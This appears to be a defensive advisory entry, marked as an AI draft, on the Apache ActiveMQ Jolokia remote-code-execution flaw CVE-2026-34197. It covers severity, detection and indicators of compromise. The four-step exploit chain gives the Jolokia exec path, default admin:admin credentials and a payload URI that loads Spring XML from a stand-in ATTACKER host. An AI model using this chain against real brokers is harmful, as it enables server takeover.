TP-EXP-2026-0009 CVE-2026-34197 high Patched AI Draft

Apache ActiveMQ Improper Input Validation Vulnerability (CVE-2026-34197)

CVE CVE-2026-34197 Platform Apache ActiveMQ Type Code Injection
Severity HIGH
Status Patched
Zero-Day No
Disclosed April 6, 2026
Patched March 30, 2026
Researcher Naveen Sunkavally (Horizon3.ai) CISA KEV Listed

Severity Assessment

  • Exploitability: 8/10 — Low attack complexity with a network-accessible vector. Standard deployments require valid Jolokia credentials, but default credentials (admin:admin) are widely in use, and some version ranges (6.0.0–6.1.1) removed security constraints on the /api/* path entirely.
  • Impact: 9/10 — Successful exploitation yields arbitrary code execution on the broker’s JVM with the privileges of the ActiveMQ service account, enabling full system compromise.
  • Weaponization Risk: 9/10 — Horizon3.ai published a detailed proof-of-concept disclosure including the exact payload structure. Fortinet FortiGuard Labs observed dozens of exploitation attempts peaking on April 14, 2026.
  • Patch Urgency: 10/10 — CISA added CVE-2026-34197 to the Known Exploited Vulnerabilities catalog on April 16, 2026, assigning a federal remediation deadline of April 30, 2026.
  • Detection Coverage: 5/10 — Exploitation leaves distinctive log artifacts in the ActiveMQ broker log, but default logging configurations may not capture all relevant events, and many organizations do not monitor JMX management endpoints.

Overall Severity: High.

Summary

CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic arising from the Jolokia JMX-HTTP bridge that the broker exposes at /api/jolokia/. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans. An authenticated attacker—using default or stolen credentials—can invoke BrokerService.addNetworkConnector() or BrokerService.addConnector() with a crafted discovery URI that causes the VM transport’s brokerConfig parameter to load a remote Spring XML application context. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans before broker configuration validation occurs, bean factory methods such as MethodInvokingFactoryBean can call Runtime.exec() to execute arbitrary operating system commands on the broker host.

The flaw affects Apache ActiveMQ before 5.19.4 and versions 6.0.0 through 6.2.2. Apache patched the 6.x branch in version 6.2.3, released March 30, 2026, and the 5.x branch in 5.19.4. CISA added the vulnerability to the Known Exploited Vulnerabilities catalog on April 16, 2026, confirming active in-the-wild exploitation, with a federal remediation deadline of April 30, 2026. The public sources used here do not establish pre-patch exploitation, so the entry is marked as exploited N-day activity rather than a zero-day.

Exploit Chain

Exploitation follows a four-step sequence against an exposed ActiveMQ web console:

Step 1 — Jolokia API Access. The attacker sends an HTTP POST to /api/jolokia/exec/org.apache.activemq:type=Broker,brokerName=localhost/addNetworkConnector using valid credentials. On ActiveMQ 6.0.0–6.1.1, the security constraints on the /api/* path were removed (related to CVE-2024-32114), making this step unauthenticated; on all other affected versions, default credentials (admin:admin) are frequently in place.

Step 2 — VM Transport Trigger. The payload encodes a vm:// URI that references a non-existent broker, causing ActiveMQ to create it dynamically: static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml).

Step 3 — Remote Configuration Loading. The brokerConfig=xbean: parameter instructs ActiveMQ to load a Spring XML application context from the attacker-controlled URL. The ResourceXmlApplicationContext fetches and parses the malicious XML before any broker validation runs.

Step 4 — Code Execution. The attacker-controlled XML defines a MethodInvokingFactoryBean or equivalent Spring bean that invokes Runtime.getRuntime().exec() with an arbitrary command. Spring instantiates all singleton beans eagerly, so execution occurs before the broker rejects the invalid configuration.

Detection Guidance

Detection relies on three complementary layers.

ActiveMQ broker logs (stdout or activemq.log) will record entries resembling: Network Connector DiscoveryNetworkConnector with a vm:// URI, and Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://<external-host>. Defenders should alert on any addNetworkConnector or addConnector JMX invocation whose argument contains brokerConfig= with an external URL.

Network telemetry should monitor for outbound HTTP or HTTPS connections originating from the ActiveMQ JVM process to unexpected external hosts. Because the exploit requires the broker to fetch a remote XML file at runtime, an egress connection from the Java process to an unfamiliar host immediately following a POST to /api/jolokia/ is a high-fidelity signal.

Process and endpoint telemetry should flag child processes spawned by the ActiveMQ JVM user that are not part of the expected ActiveMQ process tree. Shells, scripting runtimes, or network utilities launched under the broker’s service account warrant immediate investigation.

Patch verification remains the most reliable control. Security teams should confirm all ActiveMQ instances have been upgraded to 5.19.4 (5.x branch) or 6.2.3 (6.x branch), or that the Jolokia endpoint is firewalled from untrusted networks.

Indicators of Compromise

The following indicators are derived from the Horizon3.ai proof-of-concept disclosure and active-exploitation reporting. Defenders should validate these against their own telemetry rather than treating them as authoritative without independent confirmation.

Log-based Indicators

(ActiveMQ broker log):

  • Strings matching brokerConfig=xbean:http or brokerConfig=xbean:https in connector creation log lines.
  • Establishing network connection from vm://localhost to vm://rce or similar VM transport negotiation messages containing external hostnames.
  • POST requests to /api/jolokia/exec/ paths involving addNetworkConnector or addConnector operations.

Network Indicators

  • Outbound HTTP requests from the ActiveMQ process to external infrastructure immediately following a Jolokia exec call.
  • Connections to TCP port 8888 from the broker host (used in known proof-of-concept payloads; production attackers may vary the port).

Process Indicators

  • Unexpected child processes under the ActiveMQ service account, including shells (bash, sh, cmd.exe, powershell.exe) or utilities that are not part of the broker’s normal operation.

Disclosure Timeline

2026-03-22 — Initial Report

Naveen Sunkavally of Horizon3.ai reports the vulnerability to the Apache Security Team.

2026-03-26 — CVE Assignment

CVE-2026-34197 is assigned by MITRE.

2026-03-30 — Patch Released

Apache releases ActiveMQ 6.2.3 addressing the vulnerability in the 6.x branch. The 5.x fix ships in 5.19.4 concurrently.

2026-04-06 — Security Advisory Published

Apache publishes the official security advisory describing the flaw and recommending immediate upgrade.

2026-04-07 — Public Disclosure

CVE-2026-34197 is publicly disclosed, including the Horizon3.ai technical write-up with proof-of-concept details.

2026-04-14 — Exploitation Peaks

Fortinet FortiGuard Labs telemetry records a surge in exploitation attempts targeting exposed Jolokia endpoints in Apache ActiveMQ deployments.

2026-04-16 — CISA KEV Addition

CISA adds CVE-2026-34197 to the Known Exploited Vulnerabilities catalog, assigning a federal remediation deadline of April 30, 2026.

Sources & References

cve-2026-34197apacheactivemqcisa-kevcode-injectionjolokiarcejmx